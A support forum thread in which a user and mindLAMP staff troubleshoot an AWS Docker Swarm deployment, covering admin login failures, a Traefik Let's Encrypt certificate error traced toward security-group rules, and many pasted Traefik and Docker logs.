Testing the LAMP Platform: Server Admin Troubles

standera · August 24, 2021, 8:07pm

Hello,

I am attempting to deploy a testing environment of LAMP via CloudFormation on AWS. With my 2 Ec2 instances setup as manager nodes on a docker swarm, I think I’ve gotten as far as step 2 in the Testing the LAMP Platform section of the documentation.

Calling the api.example.com and db.example.com for my domain is successful. But when I run:

curl -k https://api.example.com/researcher -H 'Authorization: Basic admin:admin'

the response is:

{"error": "403.no-such-credentials"}

I was able to locate my admin password in the service logs of lamp_server and running:

curl -k https://api.example.com/researcher -H 'Authorization: Basic admin:GENERATED_PASSWORD_HERE'

Inputting my admin password, returns:

{"data": []}

Is this normal behavior? Regardless if it is or not, I am unsure how to log into my lamp domain via browser (dashboard.lamp.digital). What would my credentials be for this? Am I missing some information in the next steps of the documentation?

Thanks a ton,
Steve

LukeS · August 30, 2021, 7:15pm

Hi Steve,

Thank you for using mindLAMP and for reaching out to us through the forums. It sounds to me as though you’re experiencing expected behavior - if you were able to successfully get a result from your generated admin password you should have successfully followed the setup process.

For your next steps, you can go to dashboard.lamp.digital and enter your created credentials - making sure to enter the address of the api you have set up in the server address box (which should read api.lamp.digital when you first access the page) - and then your other credentials in the appropriate locations. You should be able to log in with that - but if you are not, please reach out again.

Thanks,

Luke

standera · August 30, 2021, 7:47pm

Hey Luke,

Thanks so much for the response. I’ve attempted to login at dashboard.lamp.digital with my address api.mydomainname.website (.website was the cheapest domain ) and credentials:

Username: admin (actual username used)
Password: GENERATED_PASSWORD

Unfortunately, using these credentials and address results in Incorrect username, password, or server address error message.

Similarly, testing API calls such as:

curl -L -X POST 'https://api.mydomainname.website/researcher' \ -H 'Content-Type: application/json' \ -H 'Accept: application/json' \ -H 'Authorization: Basic admin:GENERATED_PASSWORD --data-raw '{ "id": "2wp97csc3g57ptznhhkg", "name": "Harvard Psychiatry" }'

Results in:

curl: (60) SSL certificate problem: unable to get local issuer certificate More details here: https://curl.se/docs/sslcerts.html

So now I’m starting to look at traefik documentation and see what might be missing/broken there.

Does anything stand out to you in either the error msgs or my commands?

Thanks again,
Steve

LukeS · September 2, 2021, 3:46pm

Hi Steve,

Thanks for the detailed info! It sounds like you are following the correct procedures to log-in, so I’m guessing there is some issue with accessing your api specifically. From the error message you are getting when you attempt to curl, it sounds as though there may be an issue with your site’s encryption certificate - for security reasons I think LAMP only allows access through https - have you set up a ssl certificate for your site?

You may also be able to get more info by looking at the network tabs directly in your browser’s devtools when you try to log in using the lamp dashboard, and seeing exactly what the error code is when your log-in fails.

Hope this helps,

Luke

standera · September 24, 2021, 4:30pm

Hey Luke,

Thanks for the info! I’ve been troubleshooting traefik as I figured out my SSL certificate is the final issue I am experiencing. Following the deployment of traefik.yml, taken from the LAMP documentation, I have been observing the debug logs. Below are snippets of logs where the error occurs:

level=debug msg="Building ACME client..." providerName=default.acme
level=debug msg="https://acme-v02.api.letsencrypt.org/directory" providerName=default.acme
level=debug msg="Filtering disabled container" container=lamp-message-queue-lfvcae95uisltyl0ewq515ocd providerName=docker
level=debug msg="Filtering disabled container" container=router-traefik-ry3v41qds13xjlc5n0v4qk4pn providerName=docker
level=debug msg="Filtering disabled container" providerName=docker container=lamp-cache-bwoomwujswhrwftio9tipbnmx
level=debug msg="Configuration received from provider docker: {\"http\":{\"routers\":{\"lamp_database\":{\"entryPoints\":[\"websecure\"],\"service\":\"lamp_database\",\"rule\":\"Host(`<db.MYDOMAIN>`)\",\"tls\":{\"certResolver\":\"default\"}},\"lamp_server\":{\"entryPoints\":[\"websecure\"],\"service\":\"lamp_server\",\"rule\":\"Host(`<api.MYDOMAIN>`)\",\"tls\":{\"certResolver\":\"default\"}}},\"services\":{\"lamp_database\":{\"loadBalancer\":{\"servers\":[{\"url\":\"http://10.0.1.10:5984\"}],\"passHostHeader\":true}},\"lamp_server\":{\"loadBalancer\":{\"servers\":[{\"url\":\"http://10.0.1.11:3000\"}],\"passHostHeader\":true}}}},\"tcp\":{},\"udp\":{}}" providerName=docker
level=info msg="Skipping same configuration" providerName=docker
level=error msg="Unable to obtain ACME certificate for domains \"<api.MYDOMAIN>\": cannot get ACME client get directory at 'https://acme-v02.api.letsencrypt.org/directory': Get \"https://acme-v02.api.letsencrypt.org/directory\": dial tcp: lookup acme-v02.api.letsencrypt.org on 127.0.0.11:53: read udp 127.0.0.1:42369->127.0.0.11:53: i/o timeout" routerName=lamp_server@docker rule="Host(`<api.MYDOMAIN>`)" providerName=default.acme

With my novice knowledge on SSL/traefik, I’ve done some quick googling but cant really pinpoint any solutions. Attempts I’ve made have just been restarting networks and the traefik service.

Have you experienced a similar error before? Any thoughts would be greatly appreciated.

Thanks!
Steve

avaidyam · October 14, 2021, 6:42pm

Hey @standera - it was good virtually chatting with you today. I was able to find a few more leads that indicate this is a network connectivity issue and not specific to mindLAMP or Traefik. Could you perhaps spin up a brand new EC2 instance by hand using the web UI and not CloudFormation and test if the LAMP deployment instructions work correctly there? If that works then this is an EC2/VPC networking issue.

standera · October 14, 2021, 6:51pm

Hey @avaidyam, Thanks again for meeting it was insanely helpful! I will set that up right away. Below is a quick summary from our meeting

Update after consultation with @avaidyam: Although we are able to ping the lets-encrypt domain, traefik is unable to receive SSL certificates from it. Debugging attempts were as follows:

Updated traefik docker file to pull v2.2 instead of latest, which I had it set to
Removed router_traefik-ssl volume
Restarted traefik service
Restarted docker daemon on both EC2 nodes
Checked EC2 security group rules
Checked Route 53 certificates

From these attempts it became apparent that the docker daemon itself may be the issue. This was determined by the traefik service logs:

router_traefik.1.llm1bc57aha4@<MY-DOMAIN>    | time="2021-10-14T18:00:35Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.llm1bc57aha4@<MY-DOMAIN>    | time="2021-10-14T18:00:50Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.llm1bc57aha4@<MY-DOMAIN>    | time="2021-10-14T18:01:05Z" level=info msg="Skipping same configuration" providerName=docker

With this in mind, running journalctl -u docker.service -f yields the following logs:

Oct 14 18:15:28 <MY-DOMAIN> dockerd[25788]: time="2021-10-14T18:15:28.008296160Z" level=info msg="NetworkDB stats <MY-DOMAIN>586c70ecef6b) - netID:8vhxjspxhiq9dcsm9ep1ybhid leaving:false netPeers:2 entries:8 Queue qLen:0 netMsg/s:0"
Oct 14 18:16:13 <MY-DOMAIN> dockerd[25788]: time="2021-10-14T18:16:13.318389488Z" level=warning msg="rmServiceBinding b5f9ee348d748b0e32686697e9cf7c1f3372954bf4270a14791fba4e9bf977fb possible transientstate ok:false entries:0 set:false "
Oct 14 18:16:13 <MY-DOMAIN> dockerd[25788]: time="2021-10-14T18:16:13.518699533Z" level=warning msg="rmServiceBinding eca036f701b8c7d49189e57de2cd3b7011b0acfbf1929898fd814fcfaaf7a137 possible transientstate ok:false entries:0 set:false "
Oct 14 18:16:15 <MY-DOMAIN> dockerd[25788]: time="2021-10-14T18:16:15.532178105Z" level=warning msg="failed to create proxy for port 80: listen tcp :80: bind: address already in use"
Oct 14 18:17:49 <MY-DOMAIN> dockerd[25788]: time="2021-10-14T18:17:49.351278025Z" level=error msg="logs call failed" error="container not ready for logs: context canceled" module=node/agent/taskmanagernode.id=u1a4objadmjyau4n0byasb9fc

Next steps include contacting AWS support and recreating EC2 instances

yochung · October 19, 2021, 4:35pm

@avaidyam told me to share these logs

[root@mindlamp ~]# docker service logs router_traefik
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="Configuration loaded from flags."
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="Traefik version 2.5.3 built on 2021-09-20T15:43:56Z"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://doc.traefik.io/traefik/contributing/data-collection/\n"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="Starting provider aggregator.ProviderAggregator {}"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="Starting provider *traefik.Provider {}"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="Starting provider *docker.Provider {\"watch\":true,\"endpoint\":\"unix:///var/run/docker.sock\",\"defaultRule\":\"Host(`{{ normalize .Name }}`)\",\"swarmMode\":true,\"swarmModeRefreshSeconds\":\"15s\"}"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:28Z" level=info msg="Starting provider *acme.ChallengeTLSALPN {\"Timeout\":4000000000}"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:26:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:27:13Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:27:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:27:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:27:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:28:13Z" level=error msg="the router lamp_database@docker uses a non-existent resolver: default"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:28:24 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 1 "web-to-websecure@internal" "-" 0ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:28:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:28:32 +0000] "GET /robots.txt HTTP/1.1" 404 19 "-" "-" 2 "-" "-" 0ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:28:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:28:48 +0000] "GET / HTTP/2.0" 404 19 "-" "-" 3 "-" "-" 0ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:28:49 +0000] "GET /favicon.ico HTTP/2.0" 404 19 "-" "-" 4 "-" "-" 0ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:28:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:29:13Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:29:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:29:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:29:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:30:13Z" level=error msg="the router lamp_server@docker uses a non-existent resolver: default"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:30:13Z" level=error msg="the router lamp_database@docker uses a non-existent resolver: default"
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:30:28 +0000] "GET / HTTP/2.0" 200 247 "-" "-" 5 "lamp_database@docker" "http://10.0.1.8:5984" 2ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:30:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:30:29 +0000] "GET /favicon.ico HTTP/2.0" 404 10 "-" "-" 6 "lamp_database@docker" "http://10.0.1.8:5984" 0ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:30:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:30:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:31:13Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | 10.0.0.2 - - [19/Oct/2021:16:31:17 +0000] "GET / HTTP/2.0" 200 445469 "-" "-" 7 "lamp_server@docker" "http://10.0.1.9:3000" 141ms
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:31:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:31:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:31:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:32:13Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:32:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:32:43Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:32:58Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:33:13Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:33:28Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.a4f9g8jzz2ug@mindlamp.itpmclean.org    | time="2021-10-19T16:33:43Z" level=info msg="Skipping same configuration" providerName=docker

standera · October 19, 2021, 5:13pm

Hey @avaidyam and @yochung , I attempted to create two ec2 instances manually following the Perparing Resources on AWS section of the lamp documentation. It seems that the traefik logs are giving me the same msg="Skipping same configuration" providerName=docker message. I tried installing docker using the command: sudo amazon-linux-extras install docker instead but it yielded the same results with traefik. When running journalctl -u docker.service -f after deploying traefik but before deploying lamp I get the following logs:

Oct 19 16:39:49 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:39:49.785384994Z" level=info msg="Node 5861fa8d6d78/172.31.31.241, added to nodes list"
Oct 19 16:43:49 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:43:49.103064400Z" level=info msg="initialized VXLAN UDP port to 4789 "
Oct 19 16:44:01 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:44:01.187539506Z" level=info msg="NetworkDB stats node-02.<MY-DOMAIN>(9b0dfa84284a) - netID:tdx8h2nfw4ebbqgdc9uscba5k leaving:false netPeers:2 entries:6 Queue qLen:0 netMsg/s:0"
Oct 19 16:44:01 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:44:01.187599313Z" level=info msg="NetworkDB stats node-02.<MY-DOMAIN>(9b0dfa84284a) - netID:9i1248ic1jz3jzk28to46u9ax leaving:false netPeers:1 entries:3 Queue qLen:0 netMsg/s:0"
Oct 19 16:49:01 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:49:01.387508791Z" level=info msg="NetworkDB stats node-02.<MY-DOMAIN>(9b0dfa84284a) - netID:tdx8h2nfw4ebbqgdc9uscba5k leaving:false netPeers:2 entries:6 Queue qLen:0 netMsg/s:0"
Oct 19 16:49:01 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:49:01.387577710Z" level=info msg="NetworkDB stats node-02.<MY-DOMAIN>(9b0dfa84284a) - netID:9i1248ic1jz3jzk28to46u9ax leaving:false netPeers:1 entries:3 Queue qLen:0 netMsg/s:0"

Another change I made to my deployment approach was assigning node-01 and node-02 to the ec2 instance’s hostnames respectively. In this application, node-02 is my manager node. After deploying the lamp stack it seems that my manually created ec2 instances have some issues with the mounted data path. Hoping this is an isolated error to the issues above. The docker logs from this are seen below…

Oct 19 16:57:45 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:57:45.053853834Z" level=info msg="initialized VXLAN UDP port to 4789 "
Oct 19 16:57:46 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:57:46.065694116Z" level=error msg="fatal task error" error="invalid mount config for type \"bind\": bind source path does not exist: /data/couchdb" module=node/agent/taskmanager node.id=u6lh4oxsj5mkf31zbrd0gz13x service.id=mx01df37ith6fu6u5whl7g55q task.id=o3t1enm4yhx0wvn2ljqw7xw1z
Oct 19 16:57:46 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:57:46.360011179Z" level=error msg="fatal task error" error="invalid mount config for type \"bind\": bind source path does not exist: /data/couchdb" module=node/agent/taskmanager node.id=u6lh4oxsj5mkf31zbrd0gz13x service.id=mx01df37ith6fu6u5whl7g55q task.id=difipat6az7k05yv3p7vxxlx1
Oct 19 16:57:51 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:57:51.271153560Z" level=error msg="fatal task error" error="invalid mount config for type \"bind\": bind source path does not exist: /data/couchdb" module=node/agent/taskmanager node.id=u6lh4oxsj5mkf31zbrd0gz13x service.id=mx01df37ith6fu6u5whl7g55q task.id=wsdk1z0obdbvod99l6rsj4t53
Oct 19 16:57:56 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:57:56.273667898Z" level=error msg="fatal task error" error="invalid mount config for type \"bind\": bind source path does not exist: /data/couchdb" module=node/agent/taskmanager node.id=u6lh4oxsj5mkf31zbrd0gz13x service.id=mx01df37ith6fu6u5whl7g55q task.id=yayr2sv9p2p1asj8phv9udht0
Oct 19 16:58:01 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:58:01.281307415Z" level=error msg="fatal task error" error="invalid mount config for type \"bind\": bind source path does not exist: /data/couchdb" module=node/agent/taskmanager node.id=u6lh4oxsj5mkf31zbrd0gz13x service.id=mx01df37ith6fu6u5whl7g55q task.id=m4yow3j26nzc1xujpfwllg15w
Oct 19 16:58:01 node-02.<MY-DOMAIN> dockerd[16035]: time="2021-10-19T16:58:01.382253634Z" level=warning msg="underweighting node u6lh4oxsj5mkf31zbrd0gz13x for service mx01df37ith6fu6u5whl7g55q because it experienced 5 failures or rejections within 5m0s" module=node node.id=u6lh4oxsj5mkf31zbrd0gz13x

Interested to know if anything stands out in these logs compared to previous attempts. Going to contact AWS support and see if theres any history of traefik, docker swarm and ec2 not working together.

yochung · October 25, 2021, 5:35pm

@avaidyam These are the logs after I created a ec2 instance in the default VPC; traefik worked and ssl certificate worked.

[root@mindlamp ec2-user]# docker service scale router_traefik=0
router_traefik scaled to 0
overall progress: 0 out of 0 tasks
verify: Service converged
[root@mindlamp ec2-user]# docker service scale router_traefik=1
router_traefik scaled to 1
overall progress: 1 out of 1 tasks
1/1: running   [==================================================>]
verify: Service converged
[root@mindlamp ec2-user]# docker service logs --since=10m --follow router_traefik
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Configuration loaded from flags."
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Traefik version 2.5.3 built on 2021-09-20T15:43:56Z"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="\nStats collection is disabled.\nHelp us improve Traefik by turning this feature on :)\nMore details on: https://doc.traefik.io/traefik/contributing/data-collection/\n"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Starting provider aggregator.ProviderAggregator {}"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Starting provider *docker.Provider {\"watch\":true,\"endpoint\":\"unix:///var/run/docker.sock\",\"defaultRule\":\"Host(`{{ normalize .Name }}`)\",\"swarmMode\":true,\"swarmModeRefreshSeconds\":\"15s\"}"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Starting provider *acme.Provider {\"email\":\",<redacted>.\",\"caServer\":\"https://acme-v02.api.letsencrypt.org/directory\",\"storage\":\"/data/acme.json\",\"keyType\":\"RSA4096\",\"tlsChallenge\":{},\"ResolverName\":\"default\",\"store\":{},\"TLSChallengeProvider\":{\"Timeout\":4000000000},\"HTTPChallengeProvider\":{}}"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Testing certificate renew..." providerName=default.acme
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Starting provider *acme.ChallengeTLSALPN {\"Timeout\":4000000000}"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:44Z" level=info msg="Starting provider *traefik.Provider {}"
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:27:59Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 1 "web-to-websecure@internal" "-" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 2 "web-to-websecure@internal" "-" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 200 46474 "-" "-" 3 "lamp_server@docker" "http://10.0.1.13:3000" 23ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 200 247 "-" "-" 4 "lamp_database@docker" "http://10.0.1.6:5984" 13ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 200 445469 "-" "-" 5 "lamp_server@docker" "http://10.0.1.13:3000" 62ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 200 273446 "-" "-" 6 "lamp_server@docker" "http://10.0.1.13:3000" 58ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 200 247 "-" "-" 7 "lamp_database@docker" "http://10.0.1.6:5984" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 8 "web-to-websecure@internal" "-" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:08 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 9 "web-to-websecure@internal" "-" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:09 +0000] "GET / HTTP/1.1" 200 247 "-" "-" 10 "lamp_database@docker" "http://10.0.1.6:5984" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:28:14Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:14 +0000] "GET / HTTP/1.1" 301 17 "-" "-" 11 "web-to-websecure@internal" "-" 0ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:29 +0000] "GET / HTTP/2.0" 200 445469 "-" "-" 12 "lamp_server@docker" "http://10.0.1.13:3000" 141ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:28:29Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:28:32 +0000] "GET / HTTP/2.0" 200 445469 "-" "-" 13 "lamp_server@docker" "http://10.0.1.13:3000" 7ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:28:44Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:28:59Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:29:14Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:29:29Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:29:44Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:29:59Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:30:14Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:30:29Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:30:44Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:30:59Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | 10.0.0.2 - - [25/Oct/2021:17:30:59 +0000] "GET / HTTP/1.1" 200 445469 "-" "-" 14 "lamp_server@docker" "http://10.0.1.13:3000" 1248ms
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:31:14Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:31:29Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:31:44Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:31:59Z" level=info msg="Skipping same configuration" providerName=docker
router_traefik.1.kjx32h2u7024@mindlamp.itpmclean.org    | time="2021-10-25T17:32:14Z" level=info msg="Skipping same configuration" providerName=docker

avaidyam · October 25, 2021, 5:50pm

@standera For reasons I can’t adequately describe, when debugging this issue a second time with @yochung, we were able to get Traefik working with no issues. It was quite honestly confusing how it just seemed to work and only one line in the log above seems to indicate a successful SSL exchange (“Testing certificate renew…”).

As he stated, it may have to do with the fact that this EC2 instance was created by hand in the default VPC and all the instructions to set up Docker Swarm and so on were manually typed in to the browser terminal. I’m still ruminating over what exactly happened, how it happened, and how we can resolve this issue for the CloudFormation stack version of the VPC and EC2 instance.

In the meantime, @standera, would you be willing to give this manual process a shot and seeing if it works successfully? It would be really helpful to see if these results are replicable. Thanks!

avaidyam · October 25, 2021, 6:45pm

@yochung I’m paraphrasing a response from our AWS Solutions Architect team here:

Could you please look at the Security Groups. A plain EC2 that is deployed into Default VPC may have a more permissive security group than the one that we provisioned?

The Default Security Group created by the Default VPC allows all traffic on all ports from the Default Security Group.

The EC2 Security Group that we provision inside the CFN stack has only the ingress rules that are specified there. It does not have an ingress rule that allows all traffic on all ports from the EC2 Security Group.

What I would like to see is if someone deploys the stack, and then added an ingress rule that mimics what the Default Security Group does, would this solve the problem. Then we need to figure out how to add that Ingress Rule.

Would you be able to screenshot both the security groups for the CloudFormation node-01 and the default VPC EC2 instance (that we verified today)?

To do so, you can tap on the EC2 instance and then tap the Security tab, where you’ll see both inbound and outbound rules summarized.

yochung · October 25, 2021, 11:01pm

@avaidyam I am attaching the security information of the two EC2 instances.

standera · October 26, 2021, 8:15pm

@avaidyam and @yochung, It seems I was still unsuccessful with a security setup like above. I experienced very similar logs to @yochung, but when attempting to access my domain I get your connection is not private. Screenshots of my security groups as well as traefik logs below. Thanks for the continuing help!

Steve

Info Logs:

router_traefik.1.p9lptzczq1pm@<MY-DOMAIN>    | time="2021-10-26T19:45:11Z" level=info msg="Configuration loaded from flags."
